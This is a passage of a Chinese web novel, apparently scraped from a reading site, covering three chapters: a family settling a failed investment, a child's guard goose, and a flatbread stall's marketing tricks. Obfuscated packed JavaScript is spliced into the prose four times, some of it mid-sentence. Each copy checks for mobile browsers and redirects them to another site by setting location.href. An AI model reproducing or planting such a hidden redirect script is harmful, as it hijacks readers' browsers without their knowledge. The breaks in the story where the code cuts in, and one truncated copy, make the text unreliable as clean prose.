“孤注一掷的,那就是赌博啊!切记切记!” “……也就是说,他都这么提醒你了,你还是把手里的钱全投进去了?”陈瑞安感到深深的无语。 李英抹了一把脸:“其实,我当时一听到他说有风险,就有点儿害怕了。” “我一想,如果投的钱少,就得投好几次,才能凑齐我需要的钱;如果我全投进去,就只用投一次。这样,风险不是小得多吗?” ……大哥,这逻辑不对吧? “陈兄弟,你就当帮帮我。”李英满脸悔意,“分红我也不要了,我只想要回我的本钱,你把本钱还我就行!” 爹道:“李英兄弟,话要说清楚,这钱可不是‘还’你。你的钱投到我们手里,就等于你已经接受了盈亏自负的规则了! “剩下的本钱,我们已经按比例给你送去了。亏了的这部分,我也没办法呀!” 李英忽然“扑通”一声,朝着爹跪下了:“大哥,算我求你,你把我的本钱给我吧!你的大恩大德,我记你一辈子!” 爹趴在床上,想搀李英起来而不能,急道:“李英兄弟,你这不是为难我嘛!” 陈瑞平要搀李英,李英不肯起,仍一个劲儿赖在地上。 “陈兄弟,我跟你说句实话。”李英急得双眼发红,“前几天那场大雪,把我的醉仙居压塌了呀!” 这几日家里太忙,大家都还没听说这个消息,不由得面面相觑。 李英接着道:“我一家老小,全靠着醉仙居吃饭呢!醉仙居一塌,我们家的生意也做不成了;老婆问我钱都去哪儿了,我也不敢说实话。” “陈兄弟,你行行好,给我留条活路把!你给我的那点儿钱,远远不够修房子的。我实在是被逼得没办法了呀!” 沉默良久,陈瑞安道:“除了我爹已经给你的,还剩多少钱?” 李英道:“我投了二十两,只回了六两,还剩十四两。” 陈瑞平忍不住道:“小安,我们自己家里还欠着债呢。” “我知道。”陈瑞安取来纸笔,对李英道,“这样吧,写张欠条,这钱就当我们借你的。别人要是问起来,你别说是我们借给你的就行。” “利息算你一分,比市面上低,别说我们坑你。限两年期还清,能接受吗?” 李英有些犹豫:“但是……” 陈瑞安马上道:“不行就算了,你走吧。” “能、能,我一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139259|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按时还钱!”李英赶紧道。 李英暗想,虽然两年未必能攒出这么多钱,但到时候还可以向亲戚朋友们借些。只剩几两,一方面比较好借,另一方面,也不至于惊动了家里的人,让自己亏了这么多钱的事情败露。 陈瑞安请示爹娘的意见:“爹、娘,你们觉得这样行吗?” 爹和娘对视了一眼,最终无奈地点了点头。 写好欠条,李英按下手印,带着钱走了。 “按理,我们完全不用管他。他就是报到官府去,这亏损也该他自己承担!”看着沉甸甸的银两被李英带走,陈瑞平十分心疼。 爹道:“话是这么说,但光脚的不怕穿鞋的,他要是真闹起来,免不了又有许多麻烦事。小安处理得很好。” 虽然被爹夸了,但陈瑞安也很心痛:“权宜之计罢了。唉,他拿走的那些钱里,有不少可是我们挨家挨户借来的!” “没事,挣得回来!钱财能解决的,都是小事。”爹做了许多年生意,盈盈亏亏,颇想得开。 “娘,快看看我们还剩多少钱?” 张金花把钱都摊在茶几上,如今家里已经没有银子,全是铜钱了。 “五贯三百一十七文,划二两不到。”张金花数了好几遍。 陈瑞安愁得白头发都要长出来了:“我们还欠着十四两二贯钱的外债呢!” 爹摸了摸陈瑞安的头;“没事,爹来给你算算,靠你们兄妹俩,多久能还清。” 爹抓起算盘,快速拨了一通:“……八个月就能还清了!快得很。” 陈瑞安的脸都快皱成苦瓜了:“爹你算的这是纯赚!我们一家人还要吃饭呢!” 还有爹的药钱,更是一笔大开支。啊啊啊,越想越烦了! “等等,”陈瑞安忽然抬起头看了看窗外的太阳,“现在是什么时辰了?” 陈瑞平:“……不好。” 一早上发生了这么多事情,完全忘记还要上班了! 陈瑞安狂奔了一路,紧赶慢赶,好不容易才到了舒家。 舒小姐见她来,撇撇嘴道:“姐姐,你今天来晚了。” “对不起对不起,出了点事情。”陈瑞安喘着粗气,拉了把椅子坐下。 这一天的运动量真是超标,抵得上从前一个月了! 刘婶关切地问道:“怎么,摆摊摆得不顺利?” 舒家一家人都知道她摆摊卖酱香饼的事。 “摆摊倒是挺顺利的——不对,也不怎么顺利。” 陈瑞安理了理浆糊似的脑子,把这一早上发生的事情徐徐道来。 “……可真不容易。陈瑞安,从前我真是小看你了,你还挺厉害的。”刘婶咂舌道。 陈瑞安感觉身体已经被掏空,连被刘婶夸这种太阳打西边出来的事情,也无暇去高兴了。 “还是得想办法,看看怎么样才能多卖点酱香饼。唉,我都有点后悔借那么多钱给他了!应该只借一半的。” 舒小姐歪歪头,道:“姐姐,我觉得我也可以帮你。” 15. 大鹅 舒小姐刚满九岁,模样还很稚气,脸颊上的婴儿肥都未褪去。此刻,她却表情严肃,一副很老成的样子,陈瑞安不由觉得好笑。 “你能帮我什么?”陈瑞安奇道。 舒小姐道:“我现在刷牙刷得很好了,不需要人看着了。姐姐可以比平日晚些过来,这样早上就能多卖一会儿酱香饼,还能回家收拾一下、歇一歇。” 陈瑞安听了,有些动心,但还是摇摇头,道:“关键是,早上我不过来,你自己起不来床呀。” 一年多过去,舒小姐依然是个不折不扣的起床困难户。 关于此事,舒先生一向颇有微词。在读书人眼里,不说“头悬梁,锥刺股”,至少不该一觉睡到日上三竿。 舒小姐的这个坏习惯,几人也曾下力气扳过几次,只是非但不见成效,还把舒小姐折腾得呵欠不断、眼圈乌青。 孙阿瑜看着心疼,便劝舒先生,女孩子不必科考,睡便睡了。而且小孩子本就觉多,是为了长身体;过几年大了,兴许就好了。 舒先生被劝住,渐渐睁一只眼闭一只眼了,只偶尔提一两句。 反倒是舒小姐,听了“女孩子云云”的话,不大高兴。 此后,她觉虽然不曾少睡,功课却愈发努力了。 现在,她的学习进度,比起学堂里正经要考秀才的男孩子,倒还要快些。 总之,起床这件事,对舒小姐是一个老大难的问题。 如今,辰时过半,刘婶就叫舒小姐起床了。但舒小姐磨磨蹭蹭,总要捱到巳时,等陈瑞安来了,才肯洗脸吃饭。 舒小姐有些心虚地道:“我……应该可以起得来。” 刘婶从鼻子里哼了一声,道:“起得来个屁。” 陈瑞安想了个办法:“这样吧,我给你布置一个作业。每天我来以前,你先在院子里打两套八段锦。 “如果完成了,奖励……我每月做蛋糕给你吃。不许偷懒,我要问刘婶检查的。” 陈瑞安给舒小姐做过一次蒸蛋糕,舒小姐念念不忘,喜欢得不得了。 只不过,在没有电动打蛋器的年代,要用筷子把一碗蛋清打发成蛋白霜,简直能把人累掉半条命! 陈瑞安当时发誓,绝不再做蛋糕了。 只是,若能晚些来上舒家的班,就能多赚些卖酱香饼的钱。陈瑞安现在十分缺钱,为了钱,累便累些吧。 刘婶赞同道:“这个主意好,正好我同阿瑜也可以跟着一起打。上次你教我打了一次八段锦,我便觉神清气爽,只是总犯懒,养不成每日都打的习惯。” 舒小姐听闻有蛋糕,欢欣鼓舞,立马同意了。 只是要推迟上班时间,光舒小姐还做不了主。 这日下班后,陈瑞安特意没有走,只等舒先生回来。 “……大概就是这样。如果青青还是做不到按时起床,我们就依旧改回巳时开始。毕竟工作时间缩短了些,我的月钱,您看着减一些。 “当然,如果您觉得不妥,我们还照着现在的时间来,您说了算。” 舒先生道:“我没有意见。月钱呢,也不必减了。你来我们家做了一年半,一直做得很好,我也没有给你涨过,全当这次给你涨工钱了。” 陈瑞安知道,舒先生是看她家有困难,有心照顾,十分感激。 翌日,陈家兄妹依然出摊卖酱香饼。 有了昨天的经验,两人动作都熟练了不少。 这一次,陈瑞安做了十二张饼。 惊喜的是,来买酱香饼的客人里,有不少都是昨天的回头客。 这些客人纷纷表示,昨天吃完酱香饼,总感觉意犹未尽,还想再吃,惦记了一整天了。 因此,新客人加上旧客人,今天的生意比昨天还要好。巳时不到,十二张饼就卖空了。 陈瑞平很高兴,道:“照这个趋势,要达成咱们每天卖二十张饼的目标,就指日可待了。” “就算卖了二十张饼,一天也才赚二百文呢。”陈瑞安还是不太满意。 “才?一天二百文,一个月就有六贯了!” 陈瑞安摇摇头:“跟你我的差事比,一个月六贯是不少。但要跟我们家十四两的债务比,那可太少了!” 不行,还是得想想,怎么样才能卖出去更多的酱香饼! 收了摊,两人各自去上班。 陈瑞安去舒家的路上,还在担心,舒小姐今日不知起床了没有。 到了舒家的门前,她远远听见里面的欢声笑语,这才放下心来。 陈瑞安问来给她开门的刘婶:“青青起来啦?打八段锦有用吗?” 刘婶嘴角的笑压都压不下来,神秘兮兮地道:“不是八段锦。你进去看看,就知道了。” 舒小姐住的是东厢房,东厢房的东侧与外墙之间,隔出了一个小小的院子。舒小姐的笑声就从那边传来。 难道是来客人了? 陈瑞安找过去,惊讶地发现:小院子竟站着一只洁白的大鹅! 大鹅见陈瑞安过来,十分适时地朝她“嘎、嘎”鸣了两声。 “这是舒先生从佃户家里买来的。”刘婶在身后笑道,“一大早上就在这里叫了。养在这个地方,青青往后要睡懒觉,可就难了。” “要打鸣的,怎么不找只公鸡来?”陈瑞安奇道。 刘婶解释:“青青喜欢鹅。而且,论打鸣,鹅可不输公鸡。” 陈瑞安后来才领悟到,鹅是怎么个“不输”法。虽然公鸡声更大更尖锐,但鸡还算识相,只在早晨打鸣;而鹅却能早晨叫、中午叫、晚上叫,一天到晚地鼓捣它那破锣嗓子,叫得人心烦意乱。 此刻,她还对大鹅抱有一种朴素的喜爱。 大鹅的羽毛洁白而丰满,看起来十分好摸;橙黄的脚蹼一拍一拍,憨厚可爱。 舒小姐正搂着大鹅撸它,从它的喙和头一路撸到它长长的脖颈,再撸到胖胖的背。 陈瑞安手痒,也伸出手去摸。 不料,陈瑞安的手刚伸出去,大鹅的两颗黑豆眼忽然闪烁着凶光,它把一双肥美的翅膀往后收,把长脖子伸得与地面垂直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169775|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,朝陈瑞安俯冲过来! 陈瑞安尚且有些懵,直到大鹅“啪嗒啪嗒”地加速靠近,“嘎嘎”地长大嘴,陈瑞安才看清——它人畜无害的喙里,竟藏着满满一嘴的锯齿! 我靠! 陈瑞安吓得尖叫着在院子里四处乱窜,大鹅却越追越兴奋,一对翅膀拍打如擂鼓,“嘎嘎”声不绝于耳,满院子追杀这个不知分寸妄想撸它的人。 终于,在即将耗尽最后一丝力气时,陈瑞安一个急转弯,灵活地闪进了屋里,门一摔,把大鹅关在了院子里。 大鹅犹隔着窗户鸣叫示威,刘婶和舒小姐已经笑得直不起腰来。 陈瑞安惊魂未定,心还在怦怦跳:“为什么它只追我,不追你们啊?” “它早上已经追过刘婶了,所以刘婶才把你骗进来,自己待在外面呢!”舒小姐嘻嘻道。 陈瑞安难以置信地望向刘婶:“刘婶!我待你不薄啊!” “哪能光我一个人被它追!”刘婶幸灾乐祸,笑得停不下来,“从这只鹅出生开始,青青就惦记上了,常去看它。所以,它才不追青青。” 陈瑞安抚着心口叹气:“喜欢什么不好,非得喜欢鹅!” 舒小姐喜欢王羲之的字,舒先生便讲了“王羲之观鹅姿悟笔法”的故事给她听。 从此,舒小姐老惦记着要学王羲之,养只鹅来帮助学书法。 “大鹅哪里不好?”舒小姐扁扁嘴,“看这嘴、这脖子、这羽毛,多漂亮!” “漂亮漂亮,你最近不是学画画儿么,你给它画张像,挂在房里,天天对着看。” 陈瑞安不过开个玩笑,舒小姐却当了真,越想越觉得可行,果真跑进来要画一张。陈瑞安少不得替她磨墨、找颜料。 舒小姐提起笔,先用淡墨画了一个长长的脖子,然后画了一个肥肥的身子。 陈瑞安赞道:“画得像。” 舒小姐又画上头、喙和脚蹼,点缀出了几根羽毛,最后,用朱砂给喙和脚蹼上了色。 嚯,栩栩如生! 在画画这门技艺上,舒小姐还是初学者,并不十分擅长。然而今日这鹅,却画得十分好。 “你日日心里都想着鹅,所以画鹅画得好。人家是‘胸有成竹’,你这叫‘胸有成鹅’。”陈瑞安外行瞎分析道。 舒小姐自己也对这幅画十分满意,想了想,道:“不是的,是因为鹅的线条简单又有特色,颜色也分明。 “只要画出了鹅的长脖子、扁嘴巴,再用朱砂点上颜色,怎么看都不会差。 “爹教我画兰花,兰花的花和叶子都精巧,失之毫厘差以千里,所以不好画。” 是这个道理。后世的儿童画,往往教孩子们画动物、水果,因为这些东西特色鲜明,容易分辨。 如果……把这套道理,挪用在怎么卖酱香饼上,应该怎么做呢? 见陈瑞安一副沉思的表情,舒小姐问她:“姐姐,你在想些什么呢?” 陈瑞安回过神来,道:“青青,你的画儿画得这么好,帮姐姐画一幅呗?” 16. 变态辣 晨光熹微,阳光轻柔地洒落在路面,为昨晚冻得僵硬的地面带来一些温度。 这个时间,整个河头县还十分静谧,只有枝头清脆的鸟叫声清晰可闻。河头县的大多数百姓,都还刚从梦乡中悠悠转醒,睡眼惺忪地准备开启新的一天。 唯有东街,是另一番热闹景致。 卖早点的小商贩们,早已将摊位精心布置妥当。他们借着哈出的白色雾气,不断搓手取暖,试图驱散早晨的寒冷。他们的目光时不时扫向街口,期待着今早第一批食客的到来。 一众摊位中,有一个小摊看起来格外特别—— 摊子两侧,如酒店的酒幌一般,用木头架子支起了两面旗子。 左边的旗子上,画着一张栩栩如生的酱香饼,色泽金黄而有光泽,上面洒满绿莹莹的葱花,看起来十分诱人。饼图的旁边还写着一列大字:“陈氏酱香饼”。 右边的旗子上,则自左而右、从少到多,画着三摞不同大小的已经切成小块的酱香饼,显然是为方便食客区分分量。 每摞饼下方,对应地标着价格:“中份四文”、“大份六文”、“超大份八文”。 在这些字旁边,还依照价格画了不同个数的铜钱。更妙的是,价格旁边,还用画出了相应个数的铜钱。图文并茂,哪怕是不识字的客人,也能一眼看明白。 对面麻花铺子的乔秀珠,近日已成为酱香饼摊的常客。今日,她来买酱香饼,刚一走近,目光便被这两面崭新的旗子吸引,把本来就大的眼睛瞪得更大了。 “小安,这上面的酱香饼,是你画的吗?画得真好!” “我哪有这本事!”陈瑞安摇摇头,“我特地请人帮我画的。” 为了感谢舒小姐帮她画这些图,她还精心熬煮了一碗陈皮红豆沙给她呢。 乔秀珠并不识字。右边标着价格的旗子,她能照着图样瞧个大概明白;但左边旗子上的一排大字,她却读不懂。 “这几个字,写的是什么呀?” 陈瑞安顺着她手指的方向看去,应道:“写的是‘陈氏酱香饼’,算是给咱这小摊立个名号。” 乔秀珠只觉得新奇有趣,笑道:“没想到你们这个小摊,竟和人家的铺子一样,有了自个儿的招牌了!” “那可不!”陈瑞安挺了挺脊背,“有了这个招牌,即使将来有人瞧我们生意好,模仿我们做酱香饼,大家就知道,只有写着‘陈氏酱香饼’的,才是最正宗的了。” 乔秀珠竖起大拇指:“陈老板有远见。这两面旗子一挂,客人一来,什么也看不见,净看你这两面旗子来了,生意能不好嘛!” 要的就是这个效果,扎眼! 前几天,受舒小姐画大鹅的启发,陈瑞安冥思苦想,没日没夜地琢磨,终于构思出了一整套营销方案。 她深知,在挤着这么多小摊贩的东街上,要想脱颖而出,就一定得有特色! 酱香饼好吃,而且有着独一无二的口味,这是前提。 就像画大鹅,首先得鹅长得有特色,才比较好画。 但要卖东西,光产品好可不够,还得让大家都知道我们家的产品好! 如同提炼出大鹅长长的脖颈、橙黄的喙和脚蹼,陈瑞安需要提炼出酱香饼的核心卖点,并想方设法,尽可能地将这些亮点毫无保留地展示给来往的人群。 竖起两面旗子,首先就能先声夺人,把过路人的视线都吸引过来,让大家注意到,这里有一个卖酱香饼的摊子。 旗子,还只是陈瑞安计划的第一步。 在吸引了大家的目光之后,接下来的关键,就应该把酱香饼的吸引人的独特之处,清清楚楚地向每一位路人宣传。 送走了乔秀珠后,街上渐渐有了客流。 陈瑞安用胳膊肘轻轻碰了碰身边的陈瑞平,悄声道:“昨晚教你的吆喝,记牢了吗?现在可以喊了。” 陈瑞平生性有些腼腆,要他扯着嗓子叫卖,好比赶鸭子上架,实属无奈之举。 他有些难为情,犹豫再三,才蚊子哼哼般挤出几个字:“祖传……祖传酱香饼……” 风一吹,他的叫卖就被淹没在嘈杂的市声里。 “大点儿声!”陈瑞安握紧拳头,做出一个“加油”的手势。 “可是……咱们的酱香饼,压根儿也不是祖传的呀!”陈瑞平有些心虚。这不是虚假宣传嘛! “让你喊你就喊!还想不想挣钱?”陈瑞安瞪他一眼,“从我们这一代开始传,往后传千秋万代,怎么不算祖传?” 陈瑞平咬咬牙,眼一闭心一横,学着周围商贩的样子,大声吆喝道:“祖传酱香饼,鲜香酥脆,好吃不贵!免费试吃,数量有限,卖完即止!中份四文,大份六文,超大份限时八文!” 他的声音起初还有些颤抖,但越到后面,越是顺畅响亮,引得不少路人纷纷侧目。 为了钱,值得的! 相较于其他五花八门的早点品类,酱香饼最大的亮点是——浓郁醇厚的咸香酱料、富有层次的酥脆口感。 要想在这川流不息的人潮中,吸引到路过的食客,就必须以最快的速度,让食客了解到,酱香饼是多么好吃实惠。 试吃固然是最有效率、转化率最高的妙法,可现实情况是,食客们大多行色匆匆,未必肯在小摊前驻足,如此一来,他们也就没有邀请客人试吃的机会。 而吆喝叫卖,无疑是最简单易行的方法,能让忙碌的食客们在赶路的间隙,迅速了解到产品的优势。 陈瑞安费了不少心思,精心设计出这条凝结了酱香饼的口味、试吃的信息、亲民的价格于一体的叫卖口号。 这两招的效果立竿见影,不少新客人凑上前来,要了一份试吃。 大多数客人在试吃过后,都会为酱香饼的美味所折服,当即决定买上一份。 “老板,我要一个……超大份的酱香饼!” “好嘞!” 陈瑞安手脚麻利地铲起一张刚煎好的热气腾腾的饼,熟稔地拿起刷子,蘸上酱料,均匀地涂抹在饼上。 “诶?老板,你这个装酱的坛子,还挺好看的哈!”眼尖的客人一眼看见了那个与众不同的坛子。 客人的话第三步,正中陈瑞安下怀,她等的就是客人主动提及这只坛子,这便是她计划中的第三步——不动声色地向客人吹嘘,哦不,是介绍,酱香饼的最大特色:秘制酱料。 诚然,陈瑞安可以趁着给客人装饼的时间,把自己的酱料介绍一通。 但这种时候,客人多半只惦记着自己那份饼什么时候能好,哪有心思关注她王婆卖瓜! 所以啊,引导客人主动发问,才是上上策。 陈瑞安下了血本,专门跑到瓷器店里,斥巨资买了一只粉彩瓷坛,坛子上画着一朵娇艳的大牡丹和一只灵动的喜鹊,看着十分喜人。 像坛子这般日常的用具,多数平民人家只图个实惠、耐用,往往舍不得用这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177802|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种价格不菲又娇贵易碎的瓷器,而是大多选用朴实无华的土陶坛子来替代。 见了这么精致漂亮的坛子,自然会有一部分客人觉得新鲜有趣,而主动挑起这个话题。 鱼已上钩,陈瑞安便不紧不慢,假装随意地开口道:“这里面装是我们家祖传的秘制酱料,金贵着呢!酱香饼好吃,可全靠这个酱,当然得用点好东西来装啦!” 客人恍然大悟地点点头:“原来是这样!你们这个酱,确实口味很不错!” 花点小钱就能品尝到人家的祖传秘制酱料,客人越发觉得这饼买得值,对小摊的印象也更深了,暗暗想下次还要来买。 说话间,陈瑞安已经装好了一份酱香饼,包在油纸里。 “大哥,您要不要辣?” 客人摇摇头:“不要,我吃不了辣,不过我媳妇儿爱吃辣。你们这儿还能选辣度呢?” “是的。”陈瑞安笑眯眯地把一份不加辣的酱香饼递过去,耐心解释道,“每个客人的口味不一样,众口难调嘛,所以我们辣不辣的都有,大家都能吃到喜欢的口味。” 排在这位客人后面的是一位大姐,听到他们的对话,她忍不住插话道:“辣一点才香呢,你居然不要辣!妹子,我的那份要加辣!” “行!姐,那你是要微辣、中辣,还是变态辣?” “什么是变态辣?”大姐一脸疑惑,显然是头一回听闻这个说法。 “变态辣就是特别特别辣!”陈瑞安笑着解释道,“一般人不敢轻易尝试,不过看姐您这豪爽劲儿,指定没问题!” 大姐被逗得哈哈大笑:“那我要一份变态辣!” 陈瑞安应了一声,拿起一旁的辣椒面,往酱香饼上狠狠撒了好几下,空气中也弥漫起一股呛人的辣味。 红彤彤的辣椒面一撒上,酱香饼瞬间增色不少。 “姐,您的变态辣酱香饼,好吃再来!”她笑着将饼递给大姐。 前几天,总有食客来买饼时,见了色彩鲜亮的酱,就问她这饼辣不辣。 陈瑞安往酱料里加了辣椒面,虽然量不多,只是稍稍提提味,但总归有些辣味。 不少客人听说是辣的,立马连连说不能吃辣,抬腿就要走。 任凭陈瑞安百般解释,这辣味其实几乎可以忽略不计,甚至热情邀请他们试吃,他们也不肯尝上一口。 于是,陈瑞安灵机一动,特地不再往酱料里放辣椒面,而是把加辣这个环节,移到出品的时候。 一来,如此一来,就能迎合不同客人的口味。爱吃辣的,加多多的辣椒面,吃起来更香;吃不了辣的,也能安心品尝纯粹的酱香风味。 按照自己的需求进行选择,客人自然更会觉得酱香饼好吃。 而那些原本因为怕辣而流失的客人,这下也能稳稳留住了。 二来,让客人自己决定要不要加辣、加什么程度的辣,看似是一件小事,其实能为客人提供一种个性化体验。客人们得到了选择权,这无形中就为他们提供了情绪价值,增强了客户粘性。 三来,客人听说了“变态辣”的口味选择,兴许就会觉得好玩,从而向身边的人分享,形成免费的口碑宣传。 多管齐下,成效显著。 忙了一早上,到了收摊回家时,陈瑞安一算,居然已经卖出去了二十一张饼! 比他们的目标还要多一张! 即使是个小小的酱香饼摊,商业思维也必不可少啊! 17. 买年货 如此这般,在陈瑞安的精心经营下,酱香饼摊的生意蒸蒸日上,业绩一日好似一日。 到了年前,日均销量已然达到了二十七张。 在这竞争激烈的东街上,酱香饼摊算是站稳了脚跟。 如陈瑞安所料,没过多久,果然有几个跟风者盯上了酱香饼这块“肥肉”,也在东街卖起了酱香饼。 不过,他们做出来的饼,多半只是简单抹上甜面酱或辣黄豆酱。没有了秘制的酱料,自然不能与陈氏酱香饼相提并论。 陈氏酱香饼原本就是薄利多销的路线,这些人的价格也很难做到更低,就更抢不走什么生意了。 偶尔有不想排队的客人,买了他们家的酱香饼,只觉咸而无味,反而更衬出陈氏酱香饼的好来了。 不过,生意太好也有烦恼。 现场煎饼太费时,赶不上卖饼的速度,队伍越排越长,难免会损失一些客人。 有钱赚不到,陈瑞安急得团团转。 为此,她想了个办法:前一日晚上将饼擀出来,提前在家里的锅上略煎一煎,第二天早上再带去摊位上复煎。 这样一来,出餐速度更快,就能节省宝贵的早高峰时间。 而且,复煎过的面饼,饼皮更加酥脆。只要保存得当,内部的水分也不会流失太多,依旧保持着松软的口感。 在晚上煎饼,张金花也可搭把手。能帮着儿女分担些,张金花很满足。 腊月二十,舒先生给陈瑞安放了元日假。 年关愈近,街上的人就愈少,连往日最热闹的东街都有些冷清。 大家放假的放假、回家的回家,难得团圆又清闲的日子,不少人家会选择自己在家里做早饭。 蚊子肉也是肉,放假后,陈瑞安仍咬牙摆了几天摊,一直摆到了腊月二十五。 眼见着实在没什么生意可做了,她才终于下定决心,收了摊子,安心窝在家里过年。 卖了这么久的酱香饼,虽然离还清债务还遥遥无期,但手上总算攒了些余钱,可以踏踏实实过个好年了。 陈瑞安自告奋勇,要在东街上替家里采买些年货,趁收摊时一并带回家。 肉菜果米这类年货,陈瑞安不会挑,交给经验丰富的张金花置办。 她负责买的,是一些解馋的零食。 张金花的口味颇为老派,爱买一些冬瓜糖之类的点心。陈瑞安嫌甜腻,不爱吃,她要买些自己爱吃的小零食回去。 乔秀珠之前帮了她一次忙,还经常照顾酱香饼摊的生意,陈瑞安记在心里,早就盘算好,年货就去她家的麻花店买。 虽说店名叫做麻花店,但乔氏麻花店并不只卖麻花这一样。米花糖、芝麻糖、红薯干、江米条这些常见的点心都是卖的,还兼卖些瓜子花生之类的炒货。 有了招牌的麻花引流,这些点心也都卖得不错。 陈瑞安走进店里,热情地向乔秀珠打招呼:“秀珠姐!我来买点儿过年吃的点心。” 陈瑞平跟在后面,脸上带着温和的微笑,静静等着一会儿拎包。 乔秀珠正在整理货架,听见客人进门,她下意识要招呼:“随便看看啊,都是——诶,是你们?” 见了陈家兄妹,她露出惊喜的神情,热情招呼道:“爱吃什么?我给你们介绍。” 这会儿时间还早,麻花店也才刚刚开门,店里除了他们两个,再无其他客人。 见乔秀珠不忙,陈瑞安也就放松下来,不紧不慢地仔细挑选着。 首先要了一斤麻花,半斤原味的,半斤黑芝麻的。 乔秀珠拿起秤,熟练地给她称麻花,秤砣那头翘得格外高,简直快要滑下来。 陈瑞安注意到了,忙道:“秀珠姐,你不必特意多给我呀,按正常的分量就行。” 乔秀珠满不在乎道:“没事儿,我买你的酱香饼的时候,你不也常给我抹零嘛。大家互相照顾,不用客气!” 称完麻花,乔秀珠指着货架上的花生糖,推荐道:“这个花生糖是今天新做的,你尝尝,可香了。” 陈瑞安拣了一小块碎的尝尝:“嗯,确实好吃!这个也来一斤。” “好嘞。”乔秀珠伸手抓了一大把花生糖,,不由分说地塞进陈瑞安的围裙口袋里:“好吃就多尝一点。” “连吃带拿,怪不好意思的。”陈瑞安笑道。 “咱俩谁跟谁呀,放心吃!”说着,乔秀珠又抓了一大把,塞进陈瑞平的口袋里。 陈瑞平隔着衣服感觉到了乔秀珠的手,吓得往后退了半步,顿时羞红了脸,手僵在那里,收也不是,推也不是,颇不自在。 两个女孩子兴致勃勃地接着挑零食,没有注意到他的窘状。 又陆续称了些酥糖、江米条、柿饼,还有一些瓜子花生,陈瑞安掂量着分量差不多了,就喊乔秀珠结账。 乔秀珠拿起算盘,一边熟练地快速拨动,一边用笔记下结果,看起来专注又利落。 陈瑞安眼中满是羡慕,由衷道:“秀珠姐,你拨算盘的样子特别有魅力。要是我也会打算盘就好了。” 乔秀珠嘴角上扬,有些得意地笑笑,道:“算盘学起来不难的,你这么聪明,脑子又活,肯定一学就会。就是得下苦功夫练。” “麻花三十二文,算你三十文;花生糖十五文,算你十文吧;江米条十九文,算十文……”乔秀珠边算边报着账。 陈瑞安越听越离谱。 谁家抹零是把十九文算十文的?这不直接打对折了嘛! “不不不,不能这么算,这样你们要亏本的呀。”她赶紧连声推拒。 “放心吧,亏不了。”乔秀珠满不在乎地抬了抬头,“再说了,我上次不是说了,你如果来买麻花,我给你抹零嘛!” 陈瑞安哭笑不得:“那也不是这么个抹法呀!你看,你全部加起来,总额给我抹个零就行了。” 乔秀珠却像没听见似的,算完后把手一摊:“一共一百文。” 陈瑞安拗不过她,只好掏出钱来,付了那一百文。 “秀珠姐,我刚才就想说了,这是你自己家的店吧?你怎么有点儿……不怎么想赚钱的样子?” 就跟现代那些暑假工似的! 乔秀珠给她逗笑了,道:“你怎么跟我爹说一样的话?我爹常说:‘这可是你自己家的店,你可得好好干,多跟客人推销推销才行!’” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196838|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“大家应该都这么想吧?毕竟都是为自己家里挣钱。” “不过呢,每次我想跟着学学看账本,我爹就又说了:‘这店将来是要留给你弟弟的,跟你又没有关系!女孩子,给家里帮帮忙就行了。’”乔秀珠一边给刚刚的点心装袋一边说道。 口中说的是些伤心话,但乔秀珠的语气和表情都很轻松,没什么委屈不甘的情绪。 不像在说自己,倒像在八卦别人家的玩笑似的。 话音未落,帘子后面忽然探出一只脑袋来。 那脑袋道:“秀珠,你好好看店,别光顾着聊天了。” 乔秀珠翻个白眼,不耐烦道:“我这不就正在招待客人呢吗?” 陈瑞安见状,赶紧接腔:“没错,她在给我算钱呢。” 那脑袋拿乔秀珠没办法,向陈瑞安陪笑道:“你别听她胡说,她呀,一天到晚逮着人就抱怨。不知道的,还误会我们多亏待了她似的。” 乔秀珠听了,算盘重重一摔,转过头去瞪。 那颗脑袋被她这么一瞪,赶紧缩了回去,消失在了帘子后面。 乔秀珠身前的那个柜台,顶上原横着一根粗粗的杆子,是平日里用来吊挂柿饼的。那杆子位置不高不低,约与她的头顶齐平。平日在柜台前算账,她总是低着头,因此并不会碰到这根杆子。 